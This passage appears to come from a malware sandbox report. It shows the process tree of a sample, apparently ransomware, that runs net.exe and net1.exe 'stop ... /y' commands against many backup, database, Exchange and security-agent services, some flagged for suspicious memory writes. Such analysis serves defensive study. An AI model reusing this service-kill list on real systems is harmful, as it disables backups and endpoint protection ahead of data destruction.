C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecManagementService" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecManagementService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecRPCService" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecRPCService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BackupExecVSSProvider" /y2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecVSSProvider" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "DFSR" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "DFSR" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EPIntegrationService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPIntegrationService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EPProtectedService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPProtectedService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EPSecurityService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPSecurityService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EPUpdateService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EPUpdateService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MB3Service" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MB3Service" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MBAMService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBAMService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MBEndpointAgent" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MBEndpointAgent" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeES" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeES" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeMGMT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMGMT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeMTA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMTA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeSA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeSRS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeSRS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeADTopology" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeADTopology" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeDelivery" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeDelivery" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeDiagnostics" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeDiagnostics" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeEdgeSync" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeEdgeSync" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeHM" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeHM" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeHMRecovery" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeHMRecovery" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeIS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeIS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeMailboxReplication" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeMailboxReplication" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeRPC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeRPC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeRepl" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeRepl" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeServiceHost" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeServiceHost" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeTransport" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeTransport" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeUM" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeUM" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSExchangeUMCR" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSExchangeUMCR" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSOLAP$*" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$*" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLSERVER" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MsDtsServer" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MsDtsServer" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MySQL57" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MySQL57" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "OSearch15" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OSearch15" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "OracleClientCache80" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "OracleClientCache80" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "QuickBooksDB25" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "QuickBooksDB25" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SPAdminV4" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SPAdminV4" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SPSearchHostController" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SPSearchHostController" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SPTraceV4" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SPTraceV4" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SPUserCodeV4" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SPUserCodeV4" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SPWriterV4" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SPWriterV4" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLBrowser" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBrowser" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLSafeOLRService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSafeOLRService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLsafe Backup Service" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLSERVERAGENT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLSERVERAGENT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLTELEMETRY" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLTELEMETRY" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLBackups" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBackups" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$*" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$*" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$*" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$*" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSMQ" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSMQ" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer$*" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$*" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLWriter" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLWriter" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLBackupAgent" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLBackupAgent" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "Symantec System Recovery" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Symantec System Recovery" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SyncoveryVSSService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SyncoveryVSSService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamBackupSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamBackupSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamCatalogSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCatalogSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamCloudSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamCloudSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamEndpointBackupSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamEndpointBackupSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamEnterpriseManagerSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamEnterpriseManagerSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamMountSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamMountSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamNFSSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamNFSSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamRESTSvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamRESTSvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VeeamTransportSvc /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VeeamTransportSvc /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "Veeam Backup Catalog Data Service" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "epag" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "epag" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "epredline" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "epredline" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "mozyprobackup" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mozyprobackup" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "masvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "masvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "macmnsvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "macmnsvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "mfemms" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "mfemms" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "McAfeeDLPAgentService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "McAfeeDLPAgentService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "psqlWGE" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "psqlWGE" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "swprv" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "swprv" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "wsbexchange" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wsbexchange" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "WinVNC4" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "WinVNC4" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "TMBMServer" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TMBMServer" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "tmccsf" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "tmccsf" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "tmlisten" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "tmlisten" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "VSNAPVSS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "VSNAPVSS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "stc_endpt_svc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "stc_endpt_svc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "wbengine" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "wbengine" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "bbagent" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "bbagent" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "NasPmService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "NasPmService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BASupportExpressStandaloneService_N_Central" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BASupportExpressStandaloneService_N_Central" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "BASupportExpressSrvcUpdater_N_Central" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BASupportExpressSrvcUpdater_N_Central" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "hasplms" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "hasplms" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EqlVss" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EqlVss" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "EqlReqService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "EqlReqService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "RapidRecoveryAgent" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "RapidRecoveryAgent" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "YTBackup" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "YTBackup" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "vhdsvc" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "vhdsvc" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "TeamViewer" /y2⤵
- Discovers systems in the same network
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TeamViewer" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSOLAP$SQL_2008" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSOLAP$SYSTEM_BGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSOLAP$TPS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSOLAP$TPSAMA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSOLAP$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$BKUPEXEC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$ECWDB2" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$PRACTICEMGT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTICEMGT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$PRACTTICEBGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$PROD" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROD" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$PROFXENGAGEMENT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SBSMONITORING" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SHAREPOINT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SOPHOS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SQL_2008" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SQLEXPRESS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$SYSTEM_BGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$TPS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$TPSAMA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$VEEAMSQL2008R2" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQL$VEEAMSQL2012" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQL$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$SBSMONITORING" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$SHAREPOINT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$SQL_2008" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$SYSTEM_BGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$TPS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLFDLauncher$TPSAMA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLFDLauncher$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLSERVER" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLSERVER" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLServerADHelper" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLServerADHelper100" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerADHelper100" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "MSSQLServerOLAPService" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "MSSQLServerOLAPService" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$BKUPEXEC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$BKUPEXEC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$CITRIX_METAFRAME" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CITRIX_METAFRAME" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$CXDB" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$CXDB" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$ECWDB2" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$ECWDB2" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$PRACTTICEBGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEBGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$PRACTTICEMGT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PRACTTICEMGT" /y3⤵
-
